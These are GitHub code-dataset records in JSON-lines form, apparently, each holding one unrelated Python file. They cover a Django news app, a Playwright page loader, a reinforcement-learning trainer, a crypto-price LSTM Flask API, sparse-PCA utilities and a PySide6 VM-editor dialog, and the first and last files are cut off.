if \"expressions\" in dir(shape.expression):\n            for tc in shape.expression.expressions:\n                process_tc(tc)\n        else:\n            tc = shape.expression\n            process_tc(tc)\n\n    return dotschema\n\n\ndef view_graphviz(dotschema):\n    return dotschema.view()\n\n\ndef save_graphviz(dotschema, filename):\n    return dotschema.render(filename)\n","repo_name":"jjkoehorst/shexpy.io","sub_path":"playground/shex2dot.py","file_name":"shex2dot.py","file_ext":"py","file_size_in_byte":5662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"35192751513","text":"from django.views import generic\nfrom django.urls import reverse_lazy\nfrom .models import NewsStory\nfrom .forms import StoryForm\n\n\nclass IndexView(generic.ListView):  \n    template_name = 'news/index.html'\n\n    def get_queryset(self):\n        '''Return all news stories.'''\n        return NewsStory.objects.order_by('pub_date')\n\n    def get_context_data(self, **kwargs):\n        print(self.request.GET.get('search'))\n        search_var = self.request.GET.get('search',\"\")\n        context = super().get_context_data(**kwargs)\n        # context['latest_stories'] = NewsStory.objects.order_by('-pub_date')[:3]\n        # context['all_stories'] = NewsStory.objects.order_by('-pub_date')[3:100]\n        # context['latest_stories'] = NewsStory.objects.order_by('-pub_date').filter(title__contains=search_var)[:3]\n        # context['all_stories'] = NewsStory.objects.order_by('-pub_date').filter(title__contains=search_var)[3:]\n        context['latest_stories'] = NewsStory.objects.order_by('-pub_date').filter(author__username__contains=search_var)[:3]\n        context['all_stories'] = NewsStory.objects.order_by('-pub_date').filter(author__username__contains=search_var)[3:]\n        return context\n\nclass StoryView(generic.DetailView):\n    model = NewsStory\n    template_name = 'news/story.html'\n    context_object_name = 'story'\n\nclass AddStoryView(generic.CreateView):\n    form_class = StoryForm #from \\news\\forms.py\n    context_object_name = 'storyForm' #just a name for the object\n    template_name = 'news/createStory.html'\n    success_url = reverse_lazy('news:index') #the path we can post things to when they are succesful\n\n    #overiding form_valid on generic.CreateView\n    def form_valid(self, form):\n        #set author to logged in user\n        form.instance.author = self.request.user\n        return super().form_valid(form)\n\n\n","repo_name":"LucySargent/she_codes_news","sub_path":"she_codes_news/news/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9172588730","text":"from playwright.sync_api import sync_playwright\nfrom pathlib import Path\nfrom urllib.parse import urlparse, urlunparse\nimport time\n\n\"\"\"\nhttps://playwright.dev/python/docs/api/class-route\n\"\"\"\ndef custom_headers(url) -> dict:\n    res = urlparse(url)\n    loc = res.netloc\n    host = urlunparse([res.scheme, res.netloc, '', '', '', ''])\n    page_url = urlunparse([res.scheme, res.netloc, res.path, '', '', ''])\n    return {\n        'authority': loc,\n        'accept': 'application/json, text/javascript, */*; q=0.01',\n        'accept-language': 'zh-CN,zh;q=0.9',\n        'origin': host,\n        'referer': host,\n        'sec-ch-ua': '\"Google Chrome\";v=\"113\", \"Chromium\";v=\"113\", \"Not-A.Brand\";v=\"24\"',\n        'sec-ch-ua-mobile': '?0',\n        'sec-ch-ua-platform': '\"macOS\"',\n        'sec-fetch-dest': 'empty',\n        'sec-fetch-mode': 'cors',\n        'sec-fetch-site': 'same-site',\n        'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',\n        'x-referer-page': page_url,\n        'x-rp-client': 'h5_1.0.0',\n    }\n\n\nwith sync_playwright() as p:\n    url = 'https://item.jd.com/7836786.html#crumb-wrap'\n    extra_http_headers = custom_headers(url)\n    browser = p.chromium.launch(headless=False)\n    context = browser.new_context(extra_http_headers=extra_http_headers)\n    page = context.new_page()\n    page.goto(url)\n    print(context.storage_state())\n    time.sleep(5)\n    page.screenshot(path='example1.png')\n    browser.close()\n","repo_name":"limingzhi-lb/wallet_sentinel","sub_path":"applications/spider/handler/temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5133152915","text":"import numpy as np\nfrom scipy.stats import multivariate_normal\nfrom scipy.special import gamma\nfrom environment import Environment\nfrom sklearn.neighbors import KernelDensity\n\nimport torch\nimport time\n\n\nclass Trainer():\n\n    def __init__(self, agent,\n                 OBS_LEAK=1e-3,\n                 EPSILON=1e-3,\n                 ref_prob='unif',\n                 final=False,\n                 monte_carlo=False,\n                 Q_learning=False,\n                 KL_reward=False,\n                 augmentation=True,\n                 KL_correction=False,\n                 Q_ref_correction=False,\n                 BATCH_SIZE=20,\n                 KL_centering=True,\n                 rtg_centering=True):\n        self.agent = agent\n        self.nb_trials = 0\n        self.init_trial(update=False)\n        self.nb_visits = np.zeros(self.agent.env.N_obs)\n        self.obs_score = np.zeros(self.agent.env.N_obs)\n        self.nb_visits_final = np.zeros(self.agent.env.N_obs)\n        self.obs_score_final = np.zeros(self.agent.env.N_obs)\n        self.mem_obs_final = []\n        self.mem_total_reward = []\n        self.mem_total_reward_test = []\n        self.mem_mean_rtg = []\n        self.mem_KL_final = []\n        self.mem_t_final = []\n        self.mem_t_final_test = []\n        self.OBS_LEAK = OBS_LEAK\n        self.EPSILON = EPSILON\n        self.HIST_HORIZON = agent.HIST_HORIZON\n        self.mem_V = {}\n        self.ref_prob = ref_prob\n        self.final = final\n        self.monte_carlo = monte_carlo\n        self.Q_learning = Q_learning\n        self.KL_reward = KL_reward\n        self.augmentation = augmentation\n        self.KL_correction = KL_correction\n        self.Q_ref_correction = Q_ref_correction\n        self.BATCH_SIZE=BATCH_SIZE\n        self.KL_centering = KL_centering\n        self.rtg_centering = rtg_centering\n\n    def init_trial(self, update=True):\n        if update:\n            self.nb_trials += 1\n        self.total_reward = 0\n        self.trajectory = []\n        self.action_history = []\n        self.actions_set_history = []\n        self.reward_history = []\n        self.rtg_history = []\n        self.ktg_history = []\n\n    def calc_state_probs(self):\n        self.obs_score / np.sum(self.obs_score)\n        \n    def calc_final_state_probs(self):\n        return self.obs_score_final / np.sum(self.obs_score_final)\n        \n    def calc_ref_probs(self, obs, EPSILON=1e-3):\n        if self.ref_prob == 'unif':\n            # EXPLORATION DRIVE\n            if self.augmentation:\n                p = np.zeros(self.agent.N_obs)\n                if self.final:\n                    p[np.where(self.nb_visits_final > 0)] = 1 / np.sum(self.nb_visits_final > 0)\n                else:\n                    p[np.where(self.nb_visits > 0)] = 1 / np.sum(self.nb_visits > 0)\n            else:\n                p = np.ones(self.agent.N_obs) / self.agent.N_obs\n            return p\n        else:\n            # SET POINT\n            ref_probs = np.ones(self.agent.env.N_obs) * EPSILON / self.agent.env.N_obs\n            ref_probs[int(self.ref_prob)] += (1 - EPSILON)\n            return ref_probs\n    \n    def KL(self, obs, done=False, verbose=False):\n        if self.final: # Only final state for probability calculation\n            if done:\n                final_state_probs = self.calc_final_state_probs()\n                ref_probs = self.calc_ref_probs(obs, EPSILON=self.EPSILON)\n                return np.log(final_state_probs[obs]) - np.log(ref_probs[obs])\n            else:\n                return 0\n        else:\n            state_probs = self.calc_state_probs()\n            ref_probs = self.calc_ref_probs(obs, EPSILON=self.EPSILON)\n            return np.log(state_probs[obs]) - np.log(ref_probs[obs])  # +1\n\n\n    def calc_sum_future_KL(self, obs, obs_or_time, done, actions_set=None):\n        sum_future_KL = self.KL(obs, done=done)\n        if not done:\n            next_values = self.agent.set_Q_obs(obs_or_time,\n                                               Q=self.agent.Q_KL,\n                                               actions_set=actions_set)\n            next_sum = self.agent.softmax_expectation(obs_or_time,\n                                                      next_values,\n                                                      actions_set=actions_set)\n            sum_future_KL += self.agent.GAMMA * next_sum\n        return sum_future_KL\n\n\n    def online_KL_err(self, past_obs_or_time, past_action, obs, obs_or_time, done=False):\n        sum_future_KL = self.calc_sum_future_KL(obs, obs_or_time, done)\n        return self.agent.Q_KL(past_obs_or_time, past_action) - sum_future_KL\n\n\n    def calc_sum_future_rewards(self, reward, obs_or_time, done, actions_set=None):\n        sum_future_rewards = reward\n        if not done:\n            next_values = self.agent.set_Q_obs(obs_or_time,\n                                               Q=self.agent.Q_ref,\n                                               actions_set=actions_set)\n            next_sum = self.agent.softmax_expectation(obs_or_time,\n                                                        next_values,\n                                                        actions_set=actions_set)\n            sum_future_rewards += self.agent.GAMMA * next_sum\n        \n        return sum_future_rewards\n    \n    def calc_TD_err_ref(self, sum_future_rewards, past_obs_or_time, past_action):\n        return self.agent.PREC * (self.agent.Q_ref(past_obs_or_time, past_action) - sum_future_rewards)\n\n    def online_TD_err_ref(self, past_obs_or_time, past_action, obs_or_time, reward, done=False):\n        sum_future_rewards = self.calc_sum_future_rewards(reward, obs_or_time, done)\n        return self.calc_TD_err_ref(sum_future_rewards, past_obs_or_time, past_action)\n\n    def calc_TD_err_var(self, sum_future_rewards, sum_future_KL, past_obs, past_obs_or_time, past_action):\n        if self.Q_learning:\n            mult_Q = 0\n        else:\n            mult_Q = 1\n        return self.agent.PREC * (self.agent.Q_var(past_obs_or_time, past_action) - sum_future_rewards) \\\n                                  + 1 / self.agent.BETA * mult_Q * sum_future_KL\n\n    def online_TD_err_var(self, past_obs, past_obs_or_time, past_action, obs, obs_or_time, reward, done=False):      \n        sum_future_rewards = self.calc_sum_future_rewards(reward, obs_or_time, done)\n        if self.rtg_centering:\n            sum_future_rewards -= np.mean(self.agent.Q_ref_tab)\n        sum_future_KL = self.agent.Q_KL(past_obs_or_time, past_action)\n        if self.KL_centering:\n            sum_future_KL -= np.mean(self.agent.Q_KL_tab)\n        return self.calc_TD_err_var(sum_future_rewards, sum_future_KL, past_obs, past_obs_or_time, past_action)\n\n\n    def online_update(self, past_obs, past_action, obs, reward, done, past_time, current_time, actions_set=None):\n        if self.agent.isTime:\n            past_obs_or_time = past_time\n            obs_or_time = current_time\n        else:\n            past_obs_or_time = past_obs\n            obs_or_time = obs\n        if not self.Q_learning:\n            self.agent.Q_KL_tab[past_obs_or_time, past_action] -= self.agent.ALPHA * self.online_KL_err(past_obs_or_time,\n                                                                                          past_action,\n                                                                                          obs,\n                                                                                          obs_or_time,\n                                                                                          done=done)\n        if not self.agent.do_reward:\n            self.agent.Q_ref_tab[past_obs_or_time, past_action] -= self.agent.ALPHA * self.online_TD_err_ref(past_obs_or_time,\n                                                                                              past_action,\n                                                                                              obs_or_time,\n                                                                                              reward,\n                                                                                              done=done)\n        self.agent.Q_var_tab[past_obs_or_time, past_action] -= self.agent.ALPHA * self.agent.Q_VAR_MULT * self.online_TD_err_var(past_obs,\n                                                                                              past_obs_or_time,\n                                                                                              past_action,\n                                                                                              obs,\n                                                                                              obs_or_time,\n                                                                                              reward,\n                                                                                              done=done)\n    def monte_carlo_update(self, done):\n        if done:\n            final_time = self.agent.get_time()\n            liste_KL = np.zeros(final_time+1)\n            liste_sum_KL = np.zeros(final_time)\n            liste_rtg = np.zeros(final_time+1)\n            \n            if not self.Q_learning:\n                # FIRST LOOP\n                for time in range(final_time):\n                    new_obs = self.trajectory[time + 1]\n                    test_done = final_time == time + 1\n                    liste_KL[time] = self.KL(new_obs, done=test_done) \n                if self.KL_correction:\n                    liste_KL[final_time] = self.calc_sum_future_KL(new_obs, new_obs, False)\n\n                # SECOND LOOP\n                for time in range(final_time):\n                    liste_sum_KL[time]  = np.sum(np.array(liste_KL[time:]) * \\\n                                           self.agent.GAMMA **(np.arange(time, final_time+1) - time))\n                    self.ktg_history.append(liste_sum_KL[time])\n                    \n            if self.agent.do_reward:\n                for time in range(final_time):\n                    liste_rtg[time] = np.sum(np.array(self.reward_history[time:]) * \\\n                                          self.agent.GAMMA **(np.arange(time, final_time) - time))\n                    self.rtg_history.append(liste_rtg[time])\n                    \n            # THIRD LOOP\n            if self.KL_centering:\n                mean_KL_final = np.mean(self.mem_KL_final[-100:])\n            if self.agent.do_reward and self.rtg_centering:\n                mean_mean_rtg = np.mean(self.mem_mean_rtg[-100:])\n            for time in range(final_time):                ## !!!! faux dans le cas \"full KL\" et \"full reward\" !!!! TODO ##\n                past_obs = self.trajectory[time]\n                if self.agent.isTime:\n                    past_obs_or_time = time\n                else:\n                    past_obs_or_time = self.trajectory[time]\n                past_action = self.action_history[time]\n                sum_future_KL = liste_sum_KL[time]  #\n                if self.KL_centering:\n                    sum_future_KL -= mean_KL_final\n                sum_future_rewards = liste_rtg[time] \n                if self.agent.do_reward and self.rtg_centering:\n                    sum_future_rewards -= mean_mean_rtg\n\n                if self.nb_trials > 10:\n                    TD_err_ref = self.calc_TD_err_ref(sum_future_rewards, past_obs_or_time, past_action)\n                    self.agent.Q_ref_tab[past_obs_or_time, past_action] -= self.agent.ALPHA * TD_err_ref\n\n                    TD_err_var = self.calc_TD_err_var(sum_future_rewards,\n                                                      sum_future_KL ,\n                                                      past_obs,\n                                                      past_obs_or_time,\n                                                      past_action)\n                    self.agent.Q_var_tab[past_obs_or_time, past_action] -= self.agent.ALPHA * TD_err_var\n\n\n\n\n    def run_episode(self, train=True, render=False, verbose=False):\n        self.agent.init_env()\n        self.init_trial(update=train)\n        obs = self.agent.get_observation()\n        self.trajectory.append(obs)\n        tic = time.clock()\n\n        while True:\n            \n            past_time = self.agent.get_time()\n            past_obs = obs #self.agent.get_observation()\n            actions_set = None\n\n            ########### STEP #############\n            if train:\n                past_obs_or_time, past_action, obs_or_time, reward, done = self.agent.step(actions_set = actions_set)\n            else:\n                past_obs_or_time, past_action, obs_or_time, reward, done = self.agent.step(actions_set = actions_set, test=True)\n            ##############################\n\n            current_time = self.agent.get_time()\n            obs = self.agent.get_observation()\n\n            self.action_history.append(past_action)\n            self.actions_set_history.append(actions_set)\n            self.trajectory.append(obs)\n            \n            self.nb_visits[obs] += 1\n            self.obs_score *= 1 - self.OBS_LEAK\n            self.obs_score[obs] += 1\n            self.agent.num_episode += 1\n\n\n            if done:\n                self.nb_visits_final[obs] += 1\n                self.obs_score_final *= 1 - self.OBS_LEAK\n                self.obs_score_final[obs] += 1\n                self.mem_obs_final += [obs]\n\n            if past_time == 0 and train:\n                self.state_probs = self.calc_state_probs()\n                self.ref_probs = self.calc_ref_probs(obs)\n\n            mem_reward = reward\n            if not self.agent.do_reward:\n                reward = 0\n            if self.KL_reward:\n                reward -= self.KL(obs, done=done)\n            self.reward_history.append(reward)\n            self.total_reward += mem_reward\n\n            ########### LEARNING STEP #############\n            if train:\n                if self.monte_carlo:\n                    self.monte_carlo_update(done)\n                else:\n                    self.online_update(past_obs, past_action, obs, reward, done, past_time, current_time, actions_set=actions_set)\n            #######################################\n\n            if render and type(self.agent.env) is not Environment:\n                self.agent.env.render()\n\n            if done:\n                if train:\n                    KL_final = self.KL(obs, done=done)\n                    self.mem_KL_final.append(KL_final)\n                    self.mem_t_final.append(current_time)\n                    self.mem_total_reward.append(self.total_reward)\n                    self.mem_mean_rtg.append(np.mean(self.rtg_history))\n                    if verbose:\n                        print('obs:', obs, 'final KL loss:', KL_final) #, 'final time:', current_time, 'total reward:', self.total_reward)     \n                    if self.nb_trials % 100 == 0 and not self.agent.isTime:\n                        V = np.zeros(self.agent.N_obs)\n                        for obs in range(self.agent.N_obs):\n                            V[obs] = self.agent.softmax_expectation(obs, self.agent.set_Q_obs(obs), actions_set=actions_set)\n                        self.mem_V[self.nb_trials] = V\n                else:\n                    self.mem_t_final_test.append(current_time)\n                    self.mem_total_reward_test.append(self.total_reward)\n                break\n        toc = time.clock()\n        if verbose:\n            print('Time elapsed :', toc-tic)\n\n\nclass Q_learning_trainer(Trainer):\n\n    def __init__(self, agent,\n                 EPSILON=1e-3,\n                 OBS_LEAK=1e-3,\n                 ref_prob='unif',\n                 final=False,\n                 monte_carlo=False,\n                 KL_reward=False,\n                 augmentation=False,\n                 KL_correction=False,\n                 Q_ref_correction=False,\n                 BATCH_SIZE=20,\n                 KL_centering=True,\n                 rtg_centering=True):\n        super().__init__(agent,\n                         EPSILON=EPSILON,\n                         OBS_LEAK=OBS_LEAK,\n                         ref_prob=ref_prob,\n                         final=final,\n                         monte_carlo=monte_carlo,\n                         Q_learning=True,\n                         KL_reward=KL_reward,\n                         augmentation=augmentation,\n                         KL_correction=KL_correction,\n                         Q_ref_correction=Q_ref_correction,\n                         BATCH_SIZE=BATCH_SIZE,\n                         KL_centering=KL_centering,\n                         rtg_centering=rtg_centering)\n\n\nclass KL_Q_learning_trainer(Trainer):\n\n    def __init__(self, agent,\n                 EPSILON=1e-3,\n                 OBS_LEAK=1e-3,\n                 ref_prob='unif',\n                 final=False,\n                 monte_carlo=False,\n                 KL_reward=True,\n                 augmentation=True,\n                 KL_correction=False,\n                 Q_ref_correction=False,                 \n                 BATCH_SIZE=20,\n                 KL_centering=True,\n                 rtg_centering=True):\n        super().__init__(agent,\n                         EPSILON=EPSILON,\n                         OBS_LEAK=OBS_LEAK,\n                         ref_prob=ref_prob,\n                         final=final,\n                         monte_carlo=monte_carlo,\n                         Q_learning=True,\n                         KL_reward=KL_reward,\n                         augmentation=augmentation,\n                         KL_correction=KL_correction,\n                         Q_ref_correction=Q_ref_correction,\n                         BATCH_SIZE=BATCH_SIZE,\n                         KL_centering=KL_centering,\n                         rtg_centering=rtg_centering)\n\n\nclass One_step_variational_trainer(Trainer):\n\n    def __init__(self, agent,\n                 EPSILON=1e-3,\n                 OBS_LEAK=1e-3,\n                 ref_prob='unif',\n                 final=False,\n                 monte_carlo=False,\n                 Q_learning=False,\n                 KL_reward=False,\n                 augmentation=True,\n                 KL_correction=False,\n                 Q_ref_correction=False,\n                 BATCH_SIZE=20,\n                 KL_centering=True,\n                 rtg_centering=True):\n        super().__init__(agent,\n                         EPSILON=EPSILON,\n                         OBS_LEAK=OBS_LEAK,\n                         ref_prob=ref_prob,\n                         final=final,\n                         monte_carlo=monte_carlo,\n                         Q_learning=False,\n                         KL_reward=KL_reward,\n                         augmentation=augmentation,\n                         KL_correction=KL_correction,\n                         Q_ref_correction=Q_ref_correction,\n                         BATCH_SIZE=BATCH_SIZE,\n                         KL_centering=KL_centering,\n                         rtg_centering=rtg_centering)\n\n\nclass Final_variational_trainer(Trainer):\n\n    def __init__(self, agent,\n                 EPSILON=1e-3,\n                 OBS_LEAK=1e-3,\n                 ref_prob='unif',\n                 final=False,\n                 monte_carlo=False,\n                 Q_learning=False,\n                 KL_reward=False,\n                 augmentation=True,\n                 KL_correction=False,\n                 Q_ref_correction=False,\n                 BATCH_SIZE=20,\n                 KL_centering=True,\n                 rtg_centering=True):\n        super().__init__(agent,\n                         EPSILON=EPSILON,\n                         OBS_LEAK=OBS_LEAK,\n                         ref_prob=ref_prob,\n                         final=final,\n                         monte_carlo=monte_carlo,\n                         Q_learning=Q_learning,\n                         KL_reward=KL_reward,\n                         augmentation=augmentation,\n                         KL_correction=KL_correction,\n                         Q_ref_correction=Q_ref_correction,\n                         BATCH_SIZE=BATCH_SIZE,\n                         KL_centering=KL_centering,\n                         rtg_centering=rtg_centering)\n\n\n","repo_name":"gdbmanu/VariationalRL","sub_path":"discreteTrainer.py","file_name":"discreteTrainer.py","file_ext":"py","file_size_in_byte":20143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18824556239","text":"# tensorflow_version 2.0\nfrom flask import Flask, jsonify, request\nimport json\nimport requests\nfrom keras.models import Sequential\nfrom keras.layers import Activation, Dense, Dropout, LSTM\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom sklearn.metrics import mean_absolute_error\n# %matplotlib inline\ndef predict_data(coin,limit):\n    endpoint = 'https://min-api.cryptocompare.com/data/histoday'\n    res = requests.get(endpoint + '?fsym={}&tsym=CAD&limit=1750'.format(coin))\n    hist = pd.DataFrame(json.loads(res.content)['Data'])\n    hist = hist.set_index('time')\n    hist.index = pd.to_datetime(hist.index, unit='s')\n    target_col = 'close'\n\n    hist.drop([\"conversionType\", \"conversionSymbol\"], axis = 'columns', inplace = True)\n\n    hist.tail(5)\n\n    hist['high_low_avg'] = (hist['high'] + hist['low']) / 2\n    hist = hist.drop(['high'], axis=1)\n    hist = hist.drop(['low'], axis=1)\n    hist.tail(5)\n\n    def train_test_split(df, test_size=0.2):\n        split_row = len(df) - int(test_size * len(df))\n        train_data = df.iloc[:split_row]\n        test_data = df.iloc[split_row:]\n        return train_data, test_data\n\n    train, test = train_test_split(hist, test_size=0.2)\n\n\n    def normalise_zero_base(df):\n        return df / df.iloc[0] - 1\n\n    def extract_window_data(df, window_len=5, zero_base=True):\n        window_data = []\n        for idx in range(len(df) - window_len):\n            tmp = df[idx: (idx + window_len)].copy()\n            if zero_base:\n                tmp = normalise_zero_base(tmp)\n            window_data.append(tmp.values)\n        return np.array(window_data)\n\n    def prepare_data(df, target_col, window_len=10, zero_base=True, test_size=0.2):\n        train_data, test_data = train_test_split(df, test_size=test_size)\n        X_train = extract_window_data(train_data, window_len, zero_base)\n        X_test = extract_window_data(test_data, window_len, zero_base)\n        y_train = train_data[target_col][window_len:].values\n        y_test = test_data[target_col][window_len:].values\n        if zero_base:\n            y_train = y_train / train_data[target_col][:-window_len].values - 1\n            y_test = y_test / test_data[target_col][:-window_len].values - 1\n\n        return train_data, test_data, X_train, X_test, y_train, y_test\n\n    def build_lstm_model(input_data, output_size, neurons=100, activ_func='linear',\n                        dropout=0.2, loss='mse', optimizer='adam'):\n        model = Sequential()\n        model.add(LSTM(neurons, input_shape=(input_data.shape[1], input_data.shape[2])))\n        model.add(Dropout(dropout))\n        model.add(Dense(units=output_size))\n        model.add(Activation(activ_func))\n\n        model.compile(loss=loss, optimizer=optimizer)\n        return model\n\n    np.random.seed(42)\n    window_len = 5\n    \n    test_size = 0.2\n    zero_base = True\n    lstm_neurons = 100\n    epochs = 20\n    batch_size = 32\n    loss = 'mse'\n    dropout = 0.2\n    optimizer = 'adam'\n\n    train, test, X_train, X_test, y_train, y_test = prepare_data(\n        hist, target_col, window_len=window_len, zero_base=zero_base, test_size=test_size)\n\n    model = build_lstm_model(\n        X_train, output_size=1, neurons=lstm_neurons, dropout=dropout, loss=loss,\n        optimizer=optimizer)\n    history = model.fit(\n        X_train, y_train, validation_data=(X_test, y_test), epochs=epochs, batch_size=batch_size, verbose=1, shuffle=True)\n\n    targets = test[target_col][window_len:]\n    preds = model.predict(X_test).squeeze()\n\n    preds = test[target_col].values[:-window_len] * (preds + 1)\n    preds = pd.Series(index=targets.index, data=preds)\n    return preds.values.tolist()\nimport flask\napp = Flask(__name__)\n@app.route('/predict', methods=['GET','POST'])\ndef predict():\n    try:\n        if flask.request.method == 'GET':\n            coin = flask.request.args.get('coin')\n            limit = flask.request.args.get('limit')\n            data={}\n            data['status']=\"true\"\n            data['message']=\"Data Fetched\"\n            data['data']=predict_data(coin,limit)\n            \n        return str(data)\n    except:\n        data={}\n        data['status']=\"false\"\n        data['message']=\"Error\"\n        data['data']=\"null\"\n        return str(data)\n\n\nif __name__ == \"__main__\":\n   app.run(host='0.0.0.0')","repo_name":"abubaker1030/crypto_robot","sub_path":"predicty.py","file_name":"predicty.py","file_ext":"py","file_size_in_byte":4297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3619624418","text":"import numpy as np\nimport pandas as pd\n\ndef nonzeroloadings(B):\n    \"\"\"\n    This function calculates the number of nonzero loadings. Requires the loadings matrix B, and\n    returns the number of nonzero loadings per column.\n    \n    :param B: loading matrix\n    :return: number of nonzero loadings (int)\n    \"\"\"\n    nonzero_count = (B != 0).astype(int).sum(axis=0)\n    return nonzero_count\n\ndef variance(X, V):\n    \"\"\"\n    This function returns the variance (not the adjusted variance) based on the formulas provided\n    by Zou, Hastie, and Tibshirani (2006). The function requires the matrices X and V as input,\n    and gives the variance as output.\n    :param X: input data\n    :param V: weight data\n    :return: variance, diagonal of the covariance matrix\n    \"\"\"\n    k = V.shape[0]\n    X = X.iloc[:, :k]\n    sigma = X.T @ X\n    Z = V.T @ sigma @ V\n    print(Z.shape)\n    variance = np.trace(Z.T @ Z)\n    Z_array = Z.to_numpy()\n    diagonal = Z_array.T @ Z_array\n    diagonal = diagonal.diagonal()\n    return variance, diagonal\n    \ndef tex_output(tables):\n    \"\"\"\n    This function can be used to generate LaTeX output from multiple tables. Requires one or more\n    tables as input, and yields the LaTeX source code as output.\n    \"\"\"\n    width = tables[0].shape[0]\n    for table in tables:\n        if(table.shape[0] != width):\n            return \"The provided tables do not have the same dimensions.\"\n        else:\n            pass\n    \n","repo_name":"peresadilo/spca","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"75104066021","text":"from PySide6.QtWidgets import *\r\nfrom PySide6 import QtGui\r\nfrom uiScripts.ui_EditVM import Ui_Dialog\r\nimport sqlite3\r\nimport platform\r\n\r\nif platform.system() == \"Windows\":\r\n    import platformSpecific.windowsSpecific\r\n\r\nelse:\r\n    import platformSpecific.unixSpecific\r\n    \r\nimport subprocess\r\nfrom dialogExecution.vmExistsDialog import VmAlreadyExistsDialog\r\nimport translations.de\r\nimport translations.uk\r\nimport translations.en\r\nimport translations.fr\r\nimport translations.es\r\nimport translations.ro\r\nimport translations.be\r\nimport translations.cz\r\nimport translations.ru\r\nimport translations.pt\r\nimport translations.it\r\nimport locale\r\n\r\nclass EditVMNewDialog(QDialog, Ui_Dialog):\r\n    def __init__(self, parent=None):\r\n        try:\r\n            super().__init__(parent)\r\n\r\n        except:\r\n            super().__init__()\r\n            \r\n        self.setupUi(self)\r\n        self.connectSignalsSlots()\r\n        self.tabWidget.setCurrentIndex(0)\r\n        self.langDetect()\r\n        self.vmSpecs = self.readTempVmFile()\r\n        \r\n        try:\r\n            self.setWindowIcon(QtGui.QIcon(\"EmuGUI.png\"))\r\n\r\n        except:\r\n            pass\r\n\r\n    def connectSignalsSlots(self):\r\n        self.pushButton.clicked.connect(self.close)\r\n        self.pushButton_2.clicked.connect(self.finishCreation)\r\n        self.comboBox_2.currentTextChanged.connect(self.vhdAddingChange)\r\n        self.comboBox.currentTextChanged.connect(self.archChanged)\r\n        self.pushButton_3.clicked.connect(self.vhdBrowseLocation)\r\n        self.pushButton_4.clicked.connect(self.extBiosFileLocation)\r\n        self.pushButton_5.clicked.connect(self.linuxKernelBrowseLocation)\r\n        self.pushButton_6.clicked.connect(self.linuxInitridBrowseLocation)\r\n\r\n        # For new and existing\r\n        self.lineEdit_2.setEnabled(True)\r\n        self.pushButton_3.setEnabled(True)\r\n\r\n        # For new\r\n        self.comboBox_3.setEnabled(False)\r\n        self.spinBox.setEnabled(False)\r\n        self.comboBox_4.setEnabled(False)\r\n    \r\n    def langDetect(self):\r\n        select_language = \"\"\"\r\n        SELECT name, value FROM settings\r\n        WHERE name = \"lang\";\r\n        \"\"\"\r\n\r\n        if platform.system() == \"Windows\":\r\n            connection = platformSpecific.windowsSpecific.setupWindowsBackend()\r\n        \r\n        else:\r\n            connection = platformSpecific.unixSpecific.setupUnixBackend()\r\n\r\n        cursor = connection.cursor()\r\n\r\n        try:\r\n            cursor.execute(select_language)\r\n            connection.commit()\r\n            result = cursor.fetchall()\r\n\r\n            # Language modes\r\n            # system: language of OS\r\n            # en: English\r\n            # de: German\r\n            langmode = \"system\"\r\n\r\n            try:\r\n                qemu_img_slot = str(result[0])                 \r\n\r\n                if result[0][1] == \"en\":\r\n                    langmode = \"en\"\r\n\r\n                elif result[0][1] == \"de\":\r\n                    langmode = \"de\"\r\n\r\n                elif result[0][1] == \"uk\":\r\n                    langmode = \"uk\"\r\n\r\n                elif result[0][1] == \"fr\":\r\n                    langmode = \"fr\"\r\n\r\n                elif result[0][1] == \"es\":\r\n                    langmode = \"es\"\r\n\r\n                elif result[0][1] == \"ro\":\r\n                    langmode = \"ro\"\r\n\r\n                elif result[0][1] == \"ru\":\r\n                    langmode = \"ru\"\r\n\r\n                elif result[0][1] == \"be\":\r\n                    langmode = \"be\"\r\n\r\n                elif result[0][1] == \"cz\":\r\n                    langmode = \"cz\"\r\n\r\n                elif result[0][1] == \"pt\":\r\n                    langmode = \"pt\"\r\n\r\n                elif result[0][1] == \"it\":\r\n                    langmode = \"it\"\r\n\r\n                elif result[0][1] == \"system\":\r\n                    langmode = \"system\"\r\n\r\n                self.setLanguage(langmode)\r\n                print(\"The query was executed successfully. The language slot already is in the database.\")\r\n\r\n            except:\r\n                langmode = \"system\"\r\n                self.setLanguage(langmode)\r\n                print(\"The query was executed successfully. The language slot has been created.\")\r\n        \r\n        except sqlite3.Error as e:\r\n            print(f\"The SQLite module encountered an error: {e}.\")\r\n\r\n    def setLanguage(self, langmode):\r\n        if langmode == \"system\" or langmode == None:\r\n            languageToUse = locale.getlocale()[0]\r\n\r\n        else:\r\n            languageToUse = langmode\r\n\r\n        print(languageToUse)\r\n\r\n        if languageToUse != None:\r\n            if languageToUse.startswith(\"de\"):\r\n                translations.de.translateEditVMDE(self)\r\n\r\n            elif languageToUse.startswith(\"uk\"):\r\n                translations.uk.translateEditVMUK(self)\r\n\r\n            elif languageToUse.startswith(\"fr\"):\r\n                translations.fr.translateEditVMFR(self)\r\n\r\n            elif languageToUse.startswith(\"es\"):\r\n                translations.es.translateEditVMES(self)\r\n\r\n            elif languageToUse.startswith(\"ro\"):\r\n                translations.ro.translateEditVMRO(self)\r\n\r\n            elif languageToUse.startswith(\"ru\"):\r\n                translations.ru.translateEditVMRU(self)\r\n\r\n            elif languageToUse.startswith(\"be\"):\r\n                translations.be.translateEditVMBE(self)\r\n\r\n            elif languageToUse.startswith(\"cz\"):\r\n                translations.cz.translateEditVMCZ(self)\r\n\r\n            elif languageToUse.startswith(\"pt\"):\r\n                translations.pt.translateEditVMPT(self)\r\n            